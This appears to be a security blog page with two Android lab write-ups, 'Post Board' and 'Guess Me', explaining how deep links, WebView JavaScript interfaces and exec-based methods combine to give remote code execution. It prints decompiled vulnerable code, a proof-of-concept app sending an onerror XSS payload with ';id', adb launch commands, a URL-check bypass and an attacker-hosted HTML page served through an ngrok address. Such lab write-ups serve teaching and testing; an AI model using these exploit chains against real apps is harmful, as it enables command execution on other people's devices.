0xk4k45h1
Active Directory
Domain Enumeration
Kerberoast
Kerberos Delegation
LLMNR poisoning
SMB relay
Shadow Credentials
CTF
0xL4ugh 2024
Arab Cyber War Games Qualifications 2024
CyCTF qualification 2024
ICMTC Qualification 2024
IEEE Victoris 2024
PortSwigger
Wani CTF 2024
HackTheBox
Machines
Administrator
Cicada
Devvortex
Drive
Editorial
Instant
Intuition
PC
Visual
Sherlock
Mobile Pentesting
Android
Android Basics
Android Dynamic Analysis
Android Static Analysis
Mobile Hacking Labs
Home
Contact
Copyright © 2024 |
Yankos
Home
>
Mobile Pentesting
>
Android
> Mobile Hacking Labs
Now Loading ...
Mobile Hacking Labs
Post Board
Description This challenge is designed to delve into the complexities of Android’s WebView component, exploiting a Cross-Site Scripting (XSS) vulnerability to achieve Remote Code Execution (RCE). It’s a great opportunity to engage with Android application security focusing on WebView security issues. Objective Exploit an XSS vulnerability in a WebView component to achieve RCE in an Android application. Solution Analysis First I see the code of the app using Jadx-gui When we look at the android manifest we see this activity <activity android:name="com.mobilehackinglab.postboard.MainActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="postboard" android:host="postmessage"/> </intent-filter> </activity> This activity handles a deep link and we will find in the code how can we interact with it for more interesting stuff. and when I go to the MainActivity we have 3 main functions onCreate and it contains the creation of activity instructions and it calls the other 2 functions setupWebView and it exposes a JavaScript Interface private final void setupWebView(WebView webView) { webView.getSettings().setJavaScriptEnabled(true); webView.setWebChromeClient(new WebAppChromeClient()); webView.addJavascriptInterface(new WebAppInterface(), "WebAppInterface"); webView.loadUrl("file:///android_asset/index.html"); } So we can access the function of that interface through WebAppInterface This interface has 2 function and we can see the implementaton by visiting the WebAppInterface class postMarkdownMessage and this function accepts a message and posts it in markdown format @JavascriptInterface public final void postMarkdownMessage(String markdownMessage) { Intrinsics.checkNotNullParameter(markdownMessage, "markdownMessage"); String html = new Regex("```(.*?)```", RegexOption.DOT_MATCHES_ALL).replace(markdownMessage, "<pre><code>$1</code></pre>"); String html2 = new Regex("`([^`]+)`").replace(html, "<code>$1</code>"); String html3 = new Regex("!\\[(.*?)\\]\\((.*?)\\)").replace(html2, "<img src='$2' alt='$1'/>"); String html4 = new Regex("###### (.*)").replace(html3, "<h6>$1</h6>"); String html5 = new Regex("##### (.*)").replace(html4, "<h5>$1</h5>"); String html6 = new Regex("#### (.*)").replace(html5, "<h4>$1</h4>"); String html7 = new Regex("### (.*)").replace(html6, "<h3>$1</h3>"); String html8 = new Regex("## (.*)").replace(html7, "<h2>$1</h2>"); String html9 = new Regex("# (.*)").replace(html8, "<h1>$1</h1>"); String html10 = new Regex("\\*\\*(.*?)\\*\\*").replace(html9, "<b>$1</b>"); String html11 = new Regex("\\*(.*?)\\*").replace(html10, "<i>$1</i>"); String html12 = new Regex("~~(.*?)~~").replace(html11, "<del>$1</del>"); String html13 = new Regex("\\[([^\\[]+)\\]\\(([^)]+)\\)").replace(html12, "<a href='$2'>$1</a>"); String html14 = new Regex("(?m)^(\\* .+)((\\n\\* .+)*)").replace(html13, new Function1<MatchResult, CharSequence>() { // from class: com.mobilehackinglab.postboard.WebAppInterface$postMarkdownMessage$1 @Override // kotlin.jvm.functions.Function1 public final CharSequence invoke(MatchResult matchResult) { Intrinsics.checkNotNullParameter(matchResult, "matchResult"); return "<ul>" + CollectionsKt.joinToString$default(StringsKt.split$default((CharSequence) matchResult.getValue(), new String[]{"\n"}, false, 0, 6, (Object) null), "", null, null, 0, null, new Function1<String, CharSequence>() { // from class: com.mobilehackinglab.postboard.WebAppInterface$postMarkdownMessage$1.1 @Override // kotlin.jvm.functions.Function1 public final CharSequence invoke(String it) { Intrinsics.checkNotNullParameter(it, "it"); StringBuilder append = new StringBuilder().append("<li>"); String substring = it.substring(2); Intrinsics.checkNotNullExpressionValue(substring, "this as java.lang.String).substring(startIndex)"); return append.append(substring).append("</li>").toString(); } }, 30, null) + "</ul>"; } }); String html15 = new Regex("(?m)^\\d+\\. .+((\\n\\d+\\. .+)*)").replace(html14, new Function1<MatchResult, CharSequence>() { // from class: com.mobilehackinglab.postboard.WebAppInterface$postMarkdownMessage$2 @Override // kotlin.jvm.functions.Function1 public final CharSequence invoke(MatchResult matchResult) { Intrinsics.checkNotNullParameter(matchResult, "matchResult"); return "<ol>" + CollectionsKt.joinToString$default(StringsKt.split$default((CharSequence) matchResult.getValue(), new String[]{"\n"}, false, 0, 6, (Object) null), "", null, null, 0, null, new Function1<String, CharSequence>() { // from class: com.mobilehackinglab.postboard.WebAppInterface$postMarkdownMessage$2.1 @Override // kotlin.jvm.functions.Function1 public final CharSequence invoke(String it) { Intrinsics.checkNotNullParameter(it, "it"); StringBuilder append = new StringBuilder().append("<li>"); String substring = it.substring(StringsKt.indexOf$default((CharSequence) it, '.', 0, false, 6, (Object) null) + 2); Intrinsics.checkNotNullExpressionValue(substring, "this as java.lang.String).substring(startIndex)"); return append.append(substring).append("</li>").toString(); } }, 30, null) + "</ol>"; } }); String html16 = new Regex("^> (.*)", RegexOption.MULTILINE).replace(html15, "<blockquote>$1</blockquote>"); this.cache.addMessage(new Regex("^(---|\\*\\*\\*|___)$", RegexOption.MULTILINE).replace(html16, "<hr>")); } postCowsayMessage It leads to the RCE we want and this is it’s implementation @JavascriptInterface public final void postCowsayMessage(String cowsayMessage) { Intrinsics.checkNotNullParameter(cowsayMessage, "cowsayMessage"); String asciiArt = CowsayUtil.INSTANCE.runCowsay(cowsayMessage); String html = StringsKt.replace$default(StringsKt.replace$default(StringsKt.replace$default(StringsKt.replace$default(StringsKt.replace$default(asciiArt, "&", "&", false, 4, (Object) null), "<", "<", false, 4, (Object) null), ">", ">", false, 4, (Object) null), "\"", """, false, 4, (Object) null), "'", "'", false, 4, (Object) null); this.cache.addMessage("<pre>" + StringsKt.replace$default(html, "\n", "<br>", false, 4, (Object) null) + "</pre>"); } We see that it accepts the message as parameter and runs the method runConsay against the message Its implementation is public final String runCowsay(String message) { Intrinsics.checkNotNullParameter(message, "message"); try { String[] command = {"/bin/sh", "-c", CowsayUtil.scriptPath + ' ' + message}; Process process = Runtime.getRuntime().exec(command); StringBuilder output = new StringBuilder(); InputStream inputStream = process.getInputStream(); Intrinsics.checkNotNullExpressionValue(inputStream, "getInputStream(...)"); Reader inputStreamReader = new InputStreamReader(inputStream, Charsets.UTF_8); BufferedReader bufferedReader = inputStreamReader instanceof BufferedReader ? (BufferedReader) inputStreamReader : new BufferedReader(inputStreamReader, 8192); try { BufferedReader reader = bufferedReader; while (true) { String it = reader.readLine(); if (it == null) { Unit unit = Unit.INSTANCE; CloseableKt.closeFinally(bufferedReader, null); process.waitFor(); String sb = output.toString(); Intrinsics.checkNotNullExpressionValue(sb, "toString(...)"); return sb; } output.append(it).append("\n"); } } finally { } } catch (Exception e) { e.printStackTrace(); return "cowsay: " + e.getMessage(); } } So if we can control the message we can make it to be ;id and the command id will be executed and thus we got the RCE handleIntent private final void handleIntent() { Intent intent = getIntent(); String action = intent.getAction(); Uri data = intent.getData(); if (!Intrinsics.areEqual("android.intent.action.VIEW", action) || data == null || !Intrinsics.areEqual(data.getScheme(), "postboard") || !Intrinsics.areEqual(data.getHost(), "postmessage")) { return; } ActivityMainBinding activityMainBinding = null; try { String path = data.getPath(); byte[] decode = Base64.decode(path != null ? StringsKt.drop(path, 1) : null, 8); Intrinsics.checkNotNullExpressionValue(decode, "decode(...)"); String message = StringsKt.replace$default(new String(decode, Charsets.UTF_8), "'", "\\'", false, 4, (Object) null); ActivityMainBinding activityMainBinding2 = this.binding; if (activityMainBinding2 == null) { Intrinsics.throwUninitializedPropertyAccessException("binding"); activityMainBinding2 = null; } activityMainBinding2.webView.loadUrl("javascript:WebAppInterface.postMarkdownMessage('" + message + "')"); } catch (Exception e) { ActivityMainBinding activityMainBinding3 = this.binding; if (activityMainBinding3 == null) { Intrinsics.throwUninitializedPropertyAccessException("binding"); } else { activityMainBinding = activityMainBinding3; } activityMainBinding.webView.loadUrl("javascript:WebAppInterface.postCowsayMessage('" + e.getMessage() + "')"); } } We have 4 conditions for the intent this activity receives Intent action == android.intent.action.VIEW data == null The uri scheme == postboard The uri host == postmessage After this the path is decoded from base64 to extract the message This message is passed to postMarkdownMessage in the WebAppInterface but we want to execute postCowsayMessage because we can get the RCE from it. Exploitation Path access handleIntent by sending an intent that satisfies the conditions we said the path of the uri we send in the intent will be the message and it will be posted as markdown so: We can make use of it to trigger XSS as <img> is supported by markdown so we can put an image and make the onerror event triggers the postCowsayMessage through the javascript interface with a ;id as a message for RCE POC Exploitation Creating the POC app private void sendCustomIntent() { // Encode the message in Base64 (URL_SAFE) String payload = "<img src=test onerror=WebAppInterface.postCowsayMessage(';id')>"; String base64 = Base64.encodeToString(payload.getBytes(), Base64.URL_SAFE | Base64.NO_WRAP); // Build the URI String uriString = "postboard://postmessage/" + base64; Uri uri = Uri.parse(uriString); // Create the intent Intent intent = new Intent("android.intent.action.VIEW", uri); startActivity(intent); } Here we create the uri that satisfies the scheme and host conditions The payload is encoded as base64 then send as the path of the uri to get decoded at the target We trigger that intent from a button click in our poc app button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { sendCustomIntent(); } }); The target receive the intent and send the payload as markdown and because the payload is <img src=test onerror=WebAppInterface.postCowsayMessage(';id')> then the event onerror will be triggered because there’s an error in finding the image Then postCowsayMessage(';id') will be triggered and we got the RCE as shown Thanks for reading ^^ ;)
Mobile Pentesting
· 2025-06-11
Guess Me
Description Welcome to the “Guess Me” Deep Link Exploitation Challenge! Immerse yourself in the world of cybersecurity with this hands-on lab. This challenge revolves around a fictitious “Guess Me” app, shedding light on a critical security flaw related to deep links that can lead to remote code execution within the app’s framework. Solution In this lab we have 2 activities: Main Activity : and it contains the logic of the game which needs you to guess a number for winning WebviewActivity : which is the interesting part in this challenge as it handles a deep link <activity android:name="com.mobilehackinglab.guessme.WebviewActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="mhl" android:host="mobilehackinglab"/> </intent-filter> </activity> contains webview which we can control what it loads with some constraints The web view has interesting settings like JS enable webSettings.setJavaScriptEnabled(**true**); so JS code can be executed in the webview. JavaScriptInterface webView3.addJavascriptInterface(**new** MyJavaScriptInterface(), "AndroidBridge"); so If we can run JS code, we will be able to call methods annotated by @JavascriptInterface which are: loadWebsite(String url) getTime(String Time) Handling DeepLink logic We see that we can accept intent in which the DeepLink gets handled public void onNewIntent(Intent intent) { super.onNewIntent(intent); handleDeepLink(intent); } private final void handleDeepLink(Intent intent) { Uri uri = intent != null ? intent.getData() : null; if (uri != null) { if (isValidDeepLink(uri)) { loadDeepLink(uri); } else { loadAssetIndex(); } } } There are some constraints we need to know in order to handle the deep link and understand it to find how to exploit it. The scheme must be mhl or https and the host must be mobilehackinglab as we see here private final boolean isValidDeepLink(Uri uri) { if ((!Intrinsics.areEqual(uri.getScheme(), "mhl") && !Intrinsics.areEqual(uri.getScheme(), "https")) || !Intrinsics.areEqual(uri.getHost(), "mobilehackinglab")) { return false; } It accepts a query parameter url and this url can be loaded but it must end with mobilehackinglab.com String queryParameter = uri.getQueryParameter("url"); return queryParameter != null && StringsKt.endsWith$default(queryParameter, "mobilehackinglab.com", false, 2, (Object) null); The 2 above condition are in isValidDeepLink(uri) method. and in loadDeepLink(uri) the url in query parameter gets loaded if it passed the tests in isValidDeepLink(uri) method. So in order to load a url you provide the following conditions must be satisfies: the deeplink url scheme = mhl or https the deeplink url hostname = mobilehackinglab url query parameter exists and its value ends with mobilehackinglab.com and then this url will be loaded. (This condition is the one we will bypass to load a url we want). Crafting the payload After thinking we have a way to bypass this and load a url controlled by us using. url=%23mobilehackinglab.com %23 = # and it will follow the condition and load our site url=?test=mobilehackinglab.com test parameter doesn’t exist which will follow the condition and load our site also so the full powershell payload became .\adb.exe shell am start-activity -n com.mobilehackinglab.guessme/com.mobilehackinglab.guessme.WebviewActivity -d https://mobilehackinglab/?url=https://google.com%23mobilehackinglab.com and it loads google.com now we want to get RCE and this can be done if we read the javascript interface methods well. we have public final String getTime(String Time) { Intrinsics.checkNotNullParameter(Time, "Time"); try { Process process = Runtime.getRuntime().exec(Time); InputStream inputStream = process.getInputStream(); Intrinsics.checkNotNullExpressionValue(inputStream, "getInputStream(...)"); Reader inputStreamReader = new InputStreamReader(inputStream, Charsets.UTF_8); BufferedReader reader = inputStreamReader instanceof BufferedReader ? (BufferedReader) inputStreamReader : new BufferedReader(inputStreamReader, 8192); String readText = TextStreamsKt.readText(reader); reader.close(); return readText; } catch (Exception e) { return "Error getting time"; } } We see that the parameter we pass to the function gets executed using exec function, and we can call this method and control that parameter, so we can change the parameter to any command we want. I used the same html page made by the challenge and made the command to be id <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Android.showFlag</title> <style> body { font-family: Arial, sans-serif; margin: 20px; } #result { margin-top: 20px; padding: 10px; border: 1px solid #ddd; background-color: #f9f9f9; } </style> </head> <body> <p id="result">Thank you for visiting</p> <!-- Add a hyperlink with onclick event --> <a href="#" onclick="loadWebsite()">Visit MobileHackingLab</a> <script> function loadWebsite() { window.location.href = "https://www.mobilehackinglab.com/"; } // Fetch and display the time when the page loads var result = AndroidBridge.getTime("id"); var lines = result.split('\n'); var timeVisited = lines[0]; var fullMessage = "Thanks for playing the game\n\n Please visit mobilehackinglab.com for more! \n\nTime of visit: " + timeVisited; document.getElementById('result').innerText = fullMessage; </script> </body> </html> Then i started a server at port 8000 and started ngrok using ngrok http 8000 i got this url https://91e2-156-199-159-107.ngrok-free.app which will forward the visitor to the html page i created and hosted. So we can force the app to visit this html page and then it will execute the id command because of the line var result = AndroidBridge.getTime("id"); and show the result. Our final payload became ⇒ .\adb.exe shell am start-activity -n com.mobilehackinglab.guessme/com.mobilehackinglab.guessme.WebviewActivity -d https://mobilehackinglab/?url=https://91e2-156-199-159-107.ngrok-free.app%23mobilehackinglab.com and … GG !! we got the RCE.
Mobile Pentesting
· 2025-02-17
<
>
Touch background to close